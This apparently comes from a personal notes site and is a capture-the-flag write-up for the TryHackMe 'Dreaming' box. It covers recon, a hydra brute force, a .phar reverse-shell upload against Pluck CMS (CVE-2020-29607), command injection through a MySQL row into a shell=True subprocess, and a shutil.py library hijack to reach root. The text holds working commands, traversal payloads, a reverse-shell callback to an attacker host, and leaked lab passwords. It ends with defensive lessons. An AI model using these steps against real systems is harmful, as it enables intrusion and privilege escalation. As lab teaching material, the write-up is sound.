> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/dreaming-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Dreaming Writeup

`Dreaming` is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as `www-data`. A leftover automation script hands over a system password for `lucien`, whose limited `sudo` rule around a `mysql.connector` script has a classic `subprocess(shell=True)` command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, `death`'s DB credentials) by having the script `echo` back attacker-controlled shell syntax. From `death`, a world/group-writable copy of the system `shutil.py` module—imported by a root-run backup script—gives a classic Python library-hijack path: injecting a command into `shutil.py` gets executed with root privileges the next time the backup job (or any root process that imports `shutil`) runs, letting us `chmod` the final flag readable.

## Attack Chain

```plaintext
nmap -> SSH + Apache, /app/ directory listing -> Pluck CMS 4.7.13
   |
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
   |
hydra brute-force of Pluck admin login -> "password"
   |
Pluck CMS admin panel -> known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
   |
Reverse shell as www-data
   |
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -> su lucien
   |
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
   |
Injected $(cat getDreams.py) via MySQL row -> leaks death's DB password AND death's system password
   |
su death -> death_flag.txt
   |
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
   |
Inject os.system() into shutil.py -> executes as root on next import -> chmod flag readable
   |
morpheus_flag.txt
```

## Recon

```bash
nmap -A -Pn <MACHINE_IP> -o nmap
```

```plaintext
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
|   256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_  256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
```

Only SSH and HTTP are open. The web root is the stock Apache default page:

```bash
curl http://<MACHINE_IP>
```

```plaintext
<title>Apache2 Ubuntu Default Page: It works</title>
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]
```

Directory brute-force found an `/app/` directory:

```bash
ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
```

```plaintext
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
```

```bash
curl http://<MACHINE_IP>/app/
```

```plaintext
<h1>Index of /app</h1>
<tr><td><a href="/">Parent Directory</a></td></tr>
<tr><td><a href="pluck-4.7.13/">pluck-4.7.13/</a></td><td align="right">2020-01-29 08:55  </td></tr>
```

Directory listing reveals a **Pluck CMS 4.7.13** install.

```bash
curl -L http://<MACHINE_IP>/app/pluck-4.7.13/
```

```html
<meta name="generator" content="pluck 4.7.13" />
<title>dreaming - dreaming</title>
...
<h1 title="dreaming">dreaming</h1>
<h2 title="dreaming">dreaming</h2>
What power would hell have if those here imprisoned were not able to dream of heaven?
...
<a href="/app/pluck-4.7.13/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>
```

## Vulnerability Attempt: LFI via `?file=` Parameter

Pluck's `?file=` page-selector parameter looked like a classic LFI candidate:

```bash
curl 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
```

```plaintext
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
```

```bash
curl -v 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
```

```plaintext
< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
< Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
```

Tried a `php://filter` wrapper to read source instead of triggering the traversal filter directly:

```bash
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'
```

```plaintext
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
```

Both were blocked—Pluck has a built-in input filter on `?file=` that catches path traversal and stream wrappers alike. This path was abandoned in favor of the admin login.

## Vulnerability: Weak Pluck Admin Credentials

```bash
curl -s -b pluck-cookies.txt 'http://<MACHINE_IP>/app/pluck-4.7.13/admin.php' | grep -i "logged\|welcome\|admin\|logout"
```

```plaintext
<title>pluck 4.7.13 - not logged in</title>
<li>not logged in</li>
<div id="content"><div class="notice">You are not logged in! A moment, please...</div>
```

Pluck's login is a single password field with no username. Confirmed the login endpoint and its failure message:

```bash
curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=admin&bogus=&submit=Log+in' -L
```

```plaintext
<div class="error">Password incorrect.</div>
```

Manual guesses came up empty:

```bash
for pass in password 1234 pluck admin123 root dreaming; do
  echo -n "Trying $pass: "
  curl -s -c /tmp/c.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d "cont1=$pass&bogus=&submit=Log+in" -L | grep -o "not logged in\|logged in\|Welcome"
done
```

```plaintext
Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:
```

No useful matches appeared, so the login was tested with `hydra` against `rockyou.txt`:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt <MACHINE_IP> http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -t 30 -V
```

```plaintext
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://<MACHINE_IP>:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[ATTEMPT] target <MACHINE_IP> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: <MACHINE_IP>   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30
```

The password is `password`. Confirmed:

```bash
curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=password&bogus=&submit=Log+in' -L
```

```plaintext
<div id="content"><div class="success">Password correct. Logging you in...</div><meta http-equiv="refresh" content="1; url=admin.php?action=start" />
```

## Vulnerability: CVE-2020-29607 — Pluck CMS Authenticated File Upload RCE

```bash
searchsploit pluck 4.7.13
```

```plaintext
Exploit Title                                                                 |  Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)           | php/webapps/49909.py
```

Pluck blocks `.php` uploads by extension, but the block can be bypassed by uploading a `.phar` file that is still executed as PHP by the server.

{% stepper %}
{% step %}

## Upload the payload

Log into the admin panel at `admin.php?action=start`, then open **pages → manage files**.

Upload a renamed pentestmonkey PHP reverse-shell payload saved as `evil.phar`:

```plaintext
Name: evil.phar
Size: 2588 bytes
Type: applicationoctet-stream
Upload successful!
uploaded files
evil.phar   [preview icon]  [trash icon]
```

{% endstep %}

{% step %}

## Start a listener

```bash
penelope -p 4443 listen
```

{% endstep %}

{% step %}

## Trigger the uploaded payload

Click the magnifying-glass preview icon next to `evil.phar` in the file manager. This requests the uploaded file directly, causing Apache/PHP to execute it server-side.

```plaintext
[+] Listening for reverse shells on 0.0.0.0:4443 -> 127.0.0.1 * <ATTACKER_IP>
[+] [New Reverse Shell] => ip-10-48-167-123 <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~<MACHINE_IP>-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log
```

{% endstep %}
{% endstepper %}

```bash
whoami; id; groups
```

```plaintext
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
```

## Post-Exploitation: `www-data` to `lucien`

```bash
ls -la /
```

```plaintext
drwxrwxr--   2 root saviors       4096 Jul 28  2023 kingdom_backup
```

```bash
ls -la /home
```

```plaintext
drwxr-xr-x  4 death    death    4096 Aug 25  2023 death
drwxr-xr-x  5 lucien   lucien   4096 Aug 25  2023 lucien
drwxr-xr-x  3 morpheus morpheus 4096 Aug  7  2023 morpheus
drwxr-xr-x  4 ubuntu   ubuntu   4096 May 18  2025 ubuntu
```

`death`'s and `morpheus`'s flags are permission-denied to `www-data`:

```bash
cat /home/death/death_flag.txt
```

```plaintext
cat: /home/death/death_flag.txt: Permission denied
```

Found a file owned by `lucien` in a world-readable location:

```bash
find / -type f -user lucien 2>/dev/null
```

```plaintext
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
```

```bash
cat /opt/test.py
```

```python
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
```

The script was written to test the Pluck admin password, but `lucien` reused the same password for his system account:

```bash
su lucien
```

```plaintext
Password:
```

```plaintext
lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
```

```bash
cat lucien_flag.txt
```

```plaintext
-
```

## Privilege Escalation: `lucien` to `death` via `subprocess` Command Injection

```bash
cat .bash_history
```

```plaintext
ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...
```

`.bash_history` leaks `lucien`'s MySQL password and shows the exact `sudo` invocation.

```bash
sudo -l
```

```plaintext
User lucien may run the following commands on ip-10-48-167-123:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
```

`lucien` can run one specific script as `death` without a password. The script cannot be read directly:

```bash
cat /home/death/getDreams.py
```

```plaintext
cat: /home/death/getDreams.py: Permission denied
```

Run the allowed script to observe its behavior:

```bash
sudo -u death /usr/bin/python3 /home/death/getDreams.py
```

```plaintext
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician
```

It reads dreamer/dream pairs from a MySQL table and echoes them. Log in using the leaked database password:

```bash
mysql -u lucien -plucien42DBPASSWORD
```

```plaintext
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

mysql> use library;
Database changed
```

The output format suggests the script builds an `echo` command from user-controlled database fields. Test command injection by adding a shell command substitution in the `dreamer` field:

```sql
mysql> insert into dreams values ("evil", "$(cat /home/death/getDreams.py
    "> )");
```

```plaintext
Query OK, 1 row affected (0.01 sec)
```

```bash
sudo -u death /usr/bin/python3 /home/death/getDreams.py
```

```plaintext
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

evil + import mysql.connector import subprocess # MySQL credentials DB_USER = "death" DB_PASS = "!mementoMORI666!" DB_NAME = "library" def getDreams(): try: connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME ) cursor = connection.cursor() query = "SELECT dreamer, dream FROM dreams;" cursor.execute(query) dreams_info = cursor.fetchall() if not dreams_info: print("No dreams found in the database.") else: for dream_info in dreams_info: dreamer, dream = dream_info command = f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True) print(shell) except mysql.connector.Error as error: print(f"Error: {error}") finally: cursor.close() connection.close() getDreams()
```

The script builds `f"echo {dreamer} + {dream}"` and executes it through `subprocess.check_output(..., shell=True)` without sanitizing database-sourced fields. Because it runs as `death` through the `sudo` rule, table values are executed as `death`.

The source disclosure reveals `death`'s DB password: `!mementoMORI666!`.

```bash
su death
```

```plaintext
Password:
```

```plaintext
death@ip-10-48-167-123:/home/lucien$ whoami
death
death@ip-10-48-167-123:/home/lucien$ id
uid=1001(death) gid=1001(death) groups=1001(death)
```

```bash
cd ~ && cat death_flag.txt
```

```plaintext
-
```

## Privilege Escalation: `death` to Root via `shutil.py` Library Hijack

Look around `morpheus`'s home for files accessible to `death`:

```bash
cd /home/morpheus && ls -la
```

```plaintext
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
-rw-rw---- 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py
```

```bash
cat restore.py
```

```python
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")
```

`/kingdom_backup` is `root:saviors` and `death` is not in that group, so running the script manually fails:

```bash
python3 restore.py
```

```plaintext
Traceback (most recent call last):
  File "restore.py", line 6, in <module>
    backup(src_file, dst_file)
  File "/usr/lib/python3.8/shutil.py", line 438, in copy2
    copyfile(src, dst, follow_symlinks=follow_symlinks)
  File "/usr/lib/python3.8/shutil.py", line 267, in copyfile
    with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
PermissionError: [Errno 13] Permission denied: '/kingdom_backup/kingdom'
```

Check the `shutil` module being imported:

```bash
find / -type f -name 'shutil.py' 2>/dev/null
```

```plaintext
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
```

```bash
ls -la /usr/lib/python3.8/shutil.py
```

```plaintext
-rw-rw-r-- 1 root death 51474 Mar 18  2025 /usr/lib/python3.8/shutil.py
```

The module is group-owned by `death` and group-writable. Any Python process that imports `shutil`, including `restore.py`, loads and executes this file. Since a process appears to run `restore.py` periodically as root, modifying the module provides code execution with the privileges of the importing process.

Add a command near the top of the module, after the existing imports, to make the target flag world-readable:

```bash
nano /usr/lib/python3.8/shutil.py
```

```python
# added near the top of shutil.py, after imports:
os.system('chmod 777 /home/morpheus/morpheus_flag.txt')
```

After waiting for the backup job or cron task to trigger a fresh root import:

```bash
ls -la /home/morpheus/morpheus_flag.txt
```

```plaintext
-rwxrwxrwx 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
```

The permissions changed to `777`, confirming the injected line executed with enough privilege to override `morpheus`'s restrictive permissions.

```bash
cat /home/morpheus/morpheus_flag.txt
```

```plaintext
-
```

## Key Vulnerabilities

| # | Vulnerability                                                                     | Location                                 | Impact                                      |
| - | --------------------------------------------------------------------------------- | ---------------------------------------- | ------------------------------------------- |
| 1 | Directory listing enabled on `/app/`                                              | Apache config                            | Discloses Pluck CMS version/path            |
| 2 | Weak Pluck CMS admin password (`password`)                                        | `/app/pluck-4.7.13/login.php`            | Trivial brute force with hydra + rockyou    |
| 3 | CVE-2020-29607 — `.phar` extension bypass on file upload                          | Pluck CMS 4.7.13 admin file manager      | Authenticated RCE as `www-data`             |
| 4 | Password reuse between app-testing script and system account                      | `/opt/test.py` (`lucien`)                | Lateral movement `www-data` → `lucien`      |
| 5 | `subprocess.check_output(..., shell=True)` on unsanitized DB fields               | `getDreams.py` run via `sudo` as `death` | Command injection via MySQL row content     |
| 6 | Group-writable core Python stdlib module (`shutil.py`) imported by a root-run job | `/usr/lib/python3.8/shutil.py`           | Full root code execution via library hijack |

## Lessons / Takeaways

* **Never reuse application-level credentials as system account passwords.** `lucien`'s system password being identical to a hardcoded Pluck test password was the bridge from `www-data` to a real user.
* `subprocess(..., shell=True)` **with any attacker-influenced input—even data pulled from your own database—is a command injection waiting to happen.** If data crosses a trust boundary before entering the database, treat it as untrusted when building shell commands from it later.
* **File and group permissions on interpreter standard-library paths matter.** A group-writable `/usr/lib/python3.8/shutil.py` is effectively a root backdoor for anyone in that group.
* **Restrictive `sudo` rules are not a substitute for input validation in the target script.** Locking `lucien` to one specific script did not help once that script itself was exploitable.
